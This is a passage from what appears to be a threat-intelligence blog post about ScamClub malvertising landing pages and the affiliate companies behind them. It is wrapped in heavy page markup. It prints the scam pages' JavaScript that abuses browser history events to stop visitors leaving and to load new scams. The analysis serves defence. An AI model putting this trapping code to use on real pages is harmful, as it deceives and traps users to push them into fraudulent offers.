https://substackcdn.com/image/fetch/$s_!g5uc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 1272w, https://substackcdn.com/image/fetch/$s_!g5uc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29cdc639-48e8-44b2-acd6-dcbf230b4f8b_930x1018.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>ScamClub Landing Page Anti-Navigation Features</h3><p>ScamClub landing pages contain code to prevent the victim from using their browsers intended functions to leave and reloads a new scam when they do.</p><pre><code>   &lt;script type=&#8221;text/javascript&#8221;&gt;
        var ourl = PK.rebuildurl(&#8217;mcafee-2.php&#8217;);
        var iurl = PK.rebuildurl(&#8217;mcafee-2.php&#8217;);
    &lt;/script&gt;
    &lt;script type=&#8221;text/javascript&#8221;&gt;
        window.history.pushState(ourl, &#8220;Exclusive&#8221;, ourl);
        window.history.pushState(iurl, &#8220;Bonus&#8221;, iurl);
    &lt;/script&gt;
    &lt;script type=&#8221;text/javascript&#8221;&gt;
        window.addEventListener(&#8221;popstate&#8221;,
            function(e) {
                if (document.URL.indexOf(ourl) &gt;= 0) {
                window.location.href = document.location;
            }
        });
    &lt;/script&gt;

</code></pre><p>This code manipulates the document history and listens for an event named &#8220;popstate&#8221;. When this event occurs the document location changes and this results in the victims browser loading a new landing page and scam from the same ScamClub host. On safari, this event occurs upon refreshing. This may be confusing to Safari users because most pages reload the same page and content upon refreshing. On Firefox, this event occurs upon reloading or trying to navigate forwards or backwards a page. Firefox victims will not being able to leave without closing the tab or browser and a new scam loads upon each attempt they try to navigate or refresh.</p><h3><strong>ScamClub&#8217;s Business Partners</strong></h3><p>ScamClub landing pages are meant to entice the victim in continuing to another landing page. This second landing page is owned by another entity that ScamClub is marketing partners with. ScamClub landing pages do not generate profit on their own and rely upon sending traffic to their partners for profit. Once the victim enters payment details to complete the offer, ScamClub is paid as an affiliate of the transaction. We can track the entities ScamClub is a marketing partners with by reading the Terms and Conditions on the entities payment page if available.</p><p>RPPRO LLC. is the entity mentioned on most of the entity landing pages at the time of testing(October 12, 2023).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AhoH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AhoH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 424w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 848w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 1272w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AhoH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png" width="1000" height="616" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:616,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:272112,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AhoH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 424w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 848w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 1272w, https://substackcdn.com/image/fetch/$s_!AhoH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feae00654-a26c-4a36-9b23-1d24c66d25fd_1000x616.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>AMERICAN TOURISTER AEROSTEP 77CM landing page&#8217;s Terms and Conditions</em></p><p>Crative Peace Makings LLC was mentioned in the Terms and Conditions of the page the Dyson entity landing page(October 12, 2023).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9npr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9npr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 424w, https://substackcdn.com/image/fetch/$s_!9npr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 848w, https://substackcdn.com/image/fetch/$s_!9npr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 1272w, https://substackcdn.com/image/fetch/$s_!9npr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9npr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png" width="1000" height="737" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:737,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:172978,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!9npr!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 424w, https://substackcdn.com/image/fetch/$s_!9npr!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 848w, https://substackcdn.com/image/fetch/$s_!9npr!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 1272w, https://substackcdn.com/image/fetch/$s_!9npr!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fed071cc6-7318-4dbd-a1fe-70fcee555476_1000x737.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tv8f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tv8f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 424w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 848w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 1272w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tv8f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png" width="1000" height="270" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:270,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78431,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tv8f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 424w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 848w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 1272w, https://substackcdn.com/image/fetch/$s_!tv8f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fb5589-6b21-46e0-b45d-bc49565cf322_1000x270.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>One entity landing pages makes the victim agree to a Terms and Conditions and a Privacy Policy that is not accessible from the payment page. I did not find an entity name for this example due to it not being available.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Y7Ff!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png" width="1000" height="632" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:632,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73882,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 424w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 848w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 1272w, https://substackcdn.com/image/fetch/$s_!Y7Ff!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fc0b9a2-9a0d-404e-961f-478a92ae6440_1000x632.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p style="text-align: center;"><em>Payment page with inaccessible Terms and Conditions and Privacy Policy</em></p><p>On the Shein branded scam landing page,</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MHrG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MHrG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MHrG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png" width="1000" height="631" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:631,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:445443,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/193814661?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MHrG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 424w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 848w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 1272w, https://substackcdn.com/image/fetch/$s_!MHrG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e43bb9d-2708-4ae3-830e-9c754d8b3065_1000x631.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 